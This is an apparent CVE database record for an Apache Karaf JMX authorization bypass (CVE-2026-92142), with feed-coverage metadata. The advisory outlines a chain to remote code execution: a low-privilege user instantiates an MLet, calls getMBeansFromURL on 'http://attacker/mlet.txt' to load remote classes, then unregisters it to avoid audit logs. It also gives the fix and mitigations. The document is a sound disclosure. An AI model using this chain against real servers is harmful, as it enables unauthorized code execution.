{"id":"CVE-2026-92142","revision":null,"records":[{"revision":"df2f6276fdc149148b13911e481141af","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-92142","aliases":[],"title":"Apache Karaf: Authorization bypass in JMX MBean lifecycle operations","description":"Apache Karaf exposes a JMX MBeanServer guarded by\u00A0KarafMBeanServerGuard, which enforces role-based access control (RBAC) on MBean operations invoked over the remote JMX connector (RMI registry/server, enabled by default on ports 1099 and 44444). The guard is implemented as a java.lang.reflect.Proxy\u00A0around the MBeanServer, and only forwards a fixed list of operation names to the RBAC check, defined in\u00A0MBeanInvocationHandler#guarded:\n\n\n\u00A0 private final List<String> guarded = Collections.unmodifiableList( Arrays.asList(\"invoke\", \"getAttribute\", \"getAttributes\", \"setAttribute\", \"setAttributes\"));\n\n\n\n\nThe MBean lifecycle operations\u00A0MBeanServer#createMBean,\u00A0#registerMBean\u00A0and\u00A0#unregisterMBean\u00A0are not in this list. Calls to these methods are forwarded directly to the underlying\u00A0MBeanServer\u00A0with no role check at all, regardless of the roles configured in\u00A0etc/jmx.acl.*.cfg.\n\n\n\n\nAs a result, any user who can authenticate to the JMX endpoint, including a user holding only the least-privileged \"viewer\" role, can call\u00A0createMBean()\u00A0to instantiate an arbitrary class as a MBean, and\u00A0unregisterMBean()\u00A0to remove it again afterwards, with no authorization check and no audit log entry (logging in\u00A0KarafMBeanServerGuard\u00A0only occurs on the RBAC-denial path, which this bypass never reaches).\n\n\n\n\nThis is significant because\u00A0javax.management.loading.MLet, a standard JDK MBean, can be instantiated this way.\u00A0MLet\u00A0acts as a remote classloader: its\u00A0getMBeansFromURL(URL)\u00A0operation fetches an\u00A0MLet\u00A0text file from an attacker-controlled URL and instantiates and registers the classes it lists as new MBeans in the target JVM. Reaching this operation still goes through\u00A0KarafMBeanServerGuard's existing \"invoke\" check, but the default\u00A0etc/jmx.acl.cfg\u00A0grants the \"viewer\" role to any method name matching the wildcard rule \"get* = viewer\", a heuristic intended for read-only getters. Because \"getMBeansFromURL\" happens to start with \"get\", it also matches that rule, so a default installation grants \"viewer\" callers permission to invoke it without any Karaf-specific ACL naming\u00A0MLet\u00A0at all. Combined with the createMBean gap, this gives a \"viewer\"-role JMX client a path to remote code execution to the Karaf JVM:\n\n  *  Authenticate to JMX as any user with any role (e.g. \"viewer\").\n  *  mbs.createMBean(\"javax.management.loading.MLet\", objectName)\u00A0is not in\u00A0GUARDED_OPERATIONS, no RBAC check, MLet is instantiated and registered.\n  *  mbs.invoke(objectName, \"getMBeansFromURL\", new Object[]{\"http://attacker/mlet.txt\"}, ...)\u00A0is guarded, but the method name matches the default \"get* = viewer\" ACL rule, so permitted.\n  *  The remote\u00A0.mlet\u00A0file is fetched and its listed classes are loaded and registered as new MBeans, running attacker-supplied code in the Karaf JVM.\n  *  mbs.unregisterMBean(objectName)\u00A0can be used to remove the MLet afterwards, also not in\u00A0GUARDED_OPERATIONS, no RBAC check, no audit trail.\n\n\nThe fix adds\u00A0createMBean,\u00A0registerMBean\u00A0and\u00A0unregisterMBean\u00A0to the guarded operation list, resolves required roles for them from the\u00A0jmx.acl*\u00A0configuration by\u00A0ObjectName\u00A0and (for\u00A0createMBean/registerMBean) MBean class name, and ships default\u00A0etc/jmx.acl.cfg\u00A0entries restricting all three operations to the \"admin\" role. This allows deployments to also write class-name-specific rule, e.g.:\n\n\n\n\ncreateMBean(java.lang.String)[/javax\\.management\\.loading\\..*/] = admin\n\n\n\n\nApache Karaf users should upgrade to 4.4.12 or 4.5.0 or later, once released, as soon as possible. Until an upgrade is available, restrict network access to the JMX RMI registry/server ports (1099/44444) to trusted hosts, or avoid issuing any non-\"admin\" JMX credentiels.","state":0,"publishedAt":"2026-09-29T08:40:07.961+00:00","modifiedAt":"2026-10-01T14:24:03.845+00:00","affected":[{"ecosystem":"Vendor product","name":"Apache Karaf","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"Apache Software Foundation\",\n                    \"product\": \"Apache Karaf\",\n                    \"versions\": [\n                        {\n                            \"status\": \"affected\",\n                            \"version\": \"0\",\n                            \"lessThan\": \"4.4.12\",\n                            \"versionType\": \"semver\"\n                        }\n                    ],\n                    \"defaultStatus\": \"unaffected\"\n                }"}],"metrics":[],"references":["https://karaf.apache.org/security/cve-2026-92142.txt"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-92142","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-92142","identifiers":["CVE-2026-92142"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-12T01:04:03.8350163+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-12T01:04:03.8350163+00:00","lastSuccessAt":"2026-11-12T01:04:03.9938616+00:00","error":null,"lastVerifiedAt":"2026-11-12T01:04:03.9938674+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-64752486c567b55b31fb0d7225f5222bcd0019564ac0ac5f0649e242c7b19299-8739c76e681f900923b900c9df0ef75cf421d39cabb54650c4b9ad19b6a76d85","complete":true,"records":424534,"lastAttemptAt":"2026-11-12T01:04:03.0430554+00:00","lastSuccessAt":"2026-11-12T01:04:03.0392424+00:00","error":null,"lastVerifiedAt":"2026-11-12T01:04:03.0430554+00:00","snapshotPublishedAt":"2026-11-12T00:38:29+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-a94795ede0ae44029956ac706676d1f3","complete":false,"records":13760,"lastAttemptAt":"2026-11-12T01:14:30.2249693+00:00","lastSuccessAt":"2026-11-12T01:14:30.219+00:00","error":"595 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-12T01:14:30.219+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13189,"expectedIdentifiers":13813,"failedIdentifiers":595},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-12T01:04:03.8350163+00:00","complete":true,"records":1097,"lastAttemptAt":"2026-11-12T01:04:03.8350163+00:00","lastSuccessAt":"2026-11-12T01:04:03.9946093+00:00","error":null,"lastVerifiedAt":"2026-11-12T01:04:03.9946097+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-edde915f937c494687954d1458194597","complete":true,"records":13760,"lastAttemptAt":"2026-11-12T01:04:54.1042073+00:00","lastSuccessAt":"2026-11-12T01:04:54.101+00:00","error":null,"lastVerifiedAt":"2026-11-12T01:04:54.101+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13813,"expectedIdentifiers":13813,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-3562b6c78fd1bd0f0b55daf66a0926ae24f65e462df7f6d928caad458fc696bf","complete":true,"records":9947,"lastAttemptAt":"2026-11-12T01:04:03.677751+00:00","lastSuccessAt":"2026-11-11T04:27:43.6877707+00:00","error":null,"lastVerifiedAt":"2026-11-12T01:04:03.677751+00:00","snapshotPublishedAt":"2026-11-11T03:32:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-456002455e0ab94bb92c95476d4e6d175c104cd594749982afd96c893728ecbc","complete":true,"records":2010,"lastAttemptAt":"2026-11-12T01:04:03.0997578+00:00","lastSuccessAt":"2026-11-11T02:36:58.1276999+00:00","error":null,"lastVerifiedAt":"2026-11-12T01:04:03.0997578+00:00","snapshotPublishedAt":"2026-11-11T01:17:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-baa8362b4daf9e5f39d5563775a55935e7b442c0735d33274a921579ce4a0d66","complete":true,"records":3093,"lastAttemptAt":"2026-11-12T01:04:03.6923394+00:00","lastSuccessAt":"2026-11-11T13:00:02.5446881+00:00","error":null,"lastVerifiedAt":"2026-11-12T01:04:03.6923394+00:00","snapshotPublishedAt":"2026-11-11T12:47:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-685fe7fb2b690656c910a1ea42a9d294e8353311ac8ecfa691a9b0ff1b328804","complete":true,"records":231695,"lastAttemptAt":"2026-11-12T01:04:03.5701135+00:00","lastSuccessAt":"2026-11-11T21:58:47.7265713+00:00","error":null,"lastVerifiedAt":"2026-11-12T01:04:03.5701135+00:00","snapshotPublishedAt":"2026-11-11T21:48:35+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}